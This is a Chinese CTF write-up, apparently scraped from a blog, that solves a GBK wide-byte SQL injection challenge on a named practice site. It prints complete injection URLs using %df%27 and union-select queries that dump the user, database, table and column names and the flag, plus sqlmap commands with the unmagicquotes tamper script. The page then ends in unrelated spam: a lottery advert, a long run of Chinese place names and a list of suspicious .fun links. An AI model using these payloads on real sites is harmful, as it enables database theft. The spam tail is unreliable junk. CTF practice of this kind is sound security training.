<thead id="rp7vf"></thead>
        <address id="rp7vf"></address>
          <address id="rp7vf"></address>

                  <sub id="rp7vf"></sub>

                    (宽字节注入) 手注+sqlmap

                    进入题目后先简单尝试一下。

                    分享图片

                     

                    很明显的宽字节注入。

                    宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

                    手工注入
                    1、判断列数:
                    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
                    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
                    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
                    order by 3 时报错,说明只有两列。

                    2、各类信息:
                    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
                    union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
                    [email protected] : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

                    3、库名:
                    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
                    sae-chinalover

                    4、表名:
                    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
                    union select 2,group_concat(table_name)
                    from information_schema.tables
                    where table_schema=database()%23
                    ctf,ctf2,ctf3,ctf4,news

                    5、ctf4表的列名:
                    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
                    union select 2,group_concat(column_name)
                    from information_schema.columns
                    where table_name=0x63746634%23
                    id,flag

                    这里注意:要将表名ctf4转为16进制

                    这里提供一个字符串转16进制的网站:

                    http://www.5ixuexiwang.com/str/hex.php

                    转了16进制之后记得在前面加上0x

                    6、flag列的数据:
                    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
                    union select 2,(select flag from ctf4)%23
                    flag{this_is_sqli_flag}

                    sqlmap跑法
                    1、查看有哪些库:
                    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
                    这个时侯就要用到一个脚本了:

                    脚本名:unmagicquotes.py

                    作用:宽字符绕过

                    分享图片

                     

                     

                    2、表名:

                    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

                    分享图片

                     

                     

                    3、列名:

                    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

                     分享图片

                     

                     

                    4、flag列的数据:
                    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

                    分享图片

                    相关文章
                    相关标签/搜索
                    天下彩票蓝月亮免费精选料 定南县| 全南县| 石楼县| 剑阁县| 平定县| 建平县| 上思县| 邮箱| 宜川县| 榆中县| 太和县| 健康| 额尔古纳市| 中宁县| 高雄县| 宝坻区| 焉耆| 乾安县| 曲周县| 旬邑县| 拉萨市| 渝中区| 桐庐县| 邮箱| 大宁县| 阳江市| 苗栗县| 双辽市| 全南县| 巫山县| 陕西省| 壶关县| 邵阳县| 即墨市| 德兴市| 翼城县| 阿拉尔市| 当阳市| 青州市| 介休市| 黄石市| SHOW| 肇东市| 乌恰县| 高邮市| 西吉县| 宣化县| 濮阳市| 拉萨市| 开远市| 洛浦县| 余庆县| 广饶县| 星座| 昔阳县| 英超| 新乐市| 威远县| 开原市| 湖北省| 余庆县| 长武县| 中宁县| 大洼县| 永清县| 孟连| 建阳市| 武夷山市| 伊宁市| 田东县| 家居| 邹城市| 固阳县| 巴中市| 辽中县| 宁远县| 和田县| 桦甸市| 尚志市| 通化县| 常熟市| 萝北县| 普兰店市| 石嘴山市| 县级市| 乐业县| 安陆市| 浙江省| 基隆市| 抚州市| 凤庆县| 淳安县| 拉孜县| 资溪县| 合江县| 思茅市| 麻江县| 息烽县| 徐闻县| 浏阳市| 广汉市| 昌乐县| 定远县| 四平市| 疏附县| 东阿县| 白水县| 巴彦淖尔市| 华坪县| 汽车| 红桥区| 长宁区| 乐平市| 清丰县| 桃江县| 郴州市| 枣庄市| 广州市| 东山县| 阿城市| 普兰县| 西华县| 泰顺县| 酉阳| 玉屏| 吕梁市| 伊川县| 大方县| 隆林| 弥勒县| 女性| 垫江县| 永福县| 沂水县| 新田县| 梅河口市| 康马县| 建阳市| 仁布县| 彰武县| 新宁县| 易门县| 山东| 元谋县| 内丘县| 胶州市| 淄博市| 威远县| 澄迈县| 哈密市| 北流市| 修水县| 克什克腾旗| 彭水| 东山县| 静乐县| 元朗区| 岳阳市| 井陉县| 嵊泗县| 晴隆县| 包头市| 汝阳县| 中江县| 和田县| 吉隆县| 新津县| 孟津县| 绥棱县| 永年县| 赞皇县| 贞丰县| 博爱县| 康平县| 攀枝花市| 赤城县| 白玉县| 敦煌市| 凌海市| 含山县| 西平县| 英山县| 宁乡县| 大悟县| 漳平市| 辽阳市| 黔东| 来安县| 托克托县| 太白县| 怀宁县| 墨竹工卡县| 高安市| 察雅县| 克拉玛依市| 安阳市| 会同县| 丹凤县| 都兰县| 贺兰县| 甘肃省| 安泽县| 隆德县| 洪雅县| 平遥县| 湘阴县| 密云县| 荆州市| 耿马| 定襄县| 邵东县| 平塘县| 波密县| 望都县| 绥滨县| 赣州市| 修水县| 霍林郭勒市| 三门县| 故城县| 徐水县| 八宿县| 嵩明县| 五大连池市| 明星| 山阴县| 河北区| 廉江市| 洛隆县| 巴楚县| 秦皇岛市| 南京市| 绥滨县| 上饶市| 平远县| 霍山县| 阜城县| 弥勒县| 南阳市| 桦甸市| 大厂| 集贤县| 白河县| 长泰县| 博乐市| 靖江市| 纳雍县| 莎车县| 五原县| 扎赉特旗| 泰州市| 商都县| 保亭| 文登市| 调兵山市| 江达县| 武宁县| 同德县| 广饶县| 房产| 陈巴尔虎旗| 措美县| 中牟县| 大英县| 彭阳县| 吴桥县| 奈曼旗| 浮山县| 宣武区| 兴城市| 铜山县| 磴口县| 金塔县| 浏阳市| 扶余县| 深州市| 陆丰市| 隆尧县| 固始县| 乌鲁木齐县| 保康县| 双柏县| 文化| 满洲里市| 开封市| 安化县| 嘉禾县| 诸城市| 漯河市| 福安市| 舒兰市| 环江| 长丰县| 瓮安县| 松溪县| 澄江县| 博野县| 大悟县| 汶川县| 玛多县| 舟山市| 从江县| 清涧县| 历史| 纳雍县| 桂林市| 兴国县| 大同县| 富平县| 宁陵县| 迁安市| 水城县| 广丰县| 星座| 清水河县| 桂阳县| 五家渠市| 平潭县| 清丰县| 宾川县| 平陆县| 曲阳县| 周至县| 镇巴县| 北碚区| 陆丰市| 新民市| 都匀市| http://3g.yqo3j3rl3v.fun http://3g.bo2020aizs.fun http://3g.bo2020suits.fun http://3g.bo2020sides.fun http://3g.gz1980volunteerc.fun http://3g.bo2020blacks.fun http://3g.gz1980explorec.fun http://3g.yqo6j8rl3v.fun http://3g.bo2020zothers.fun http://3g.gz1980szoothc.fun http://3g.yqo6j2rl9v.fun http://3g.bo2020papers.fun http://3g.gz1980fastc.fun http://3g.yqo1j1rl7v.fun http://3g.gz1980silverc.fun http://3g.yqo7j2rl3v.fun http://3g.bo2020dates.fun http://3g.yqo8j4rl2v.fun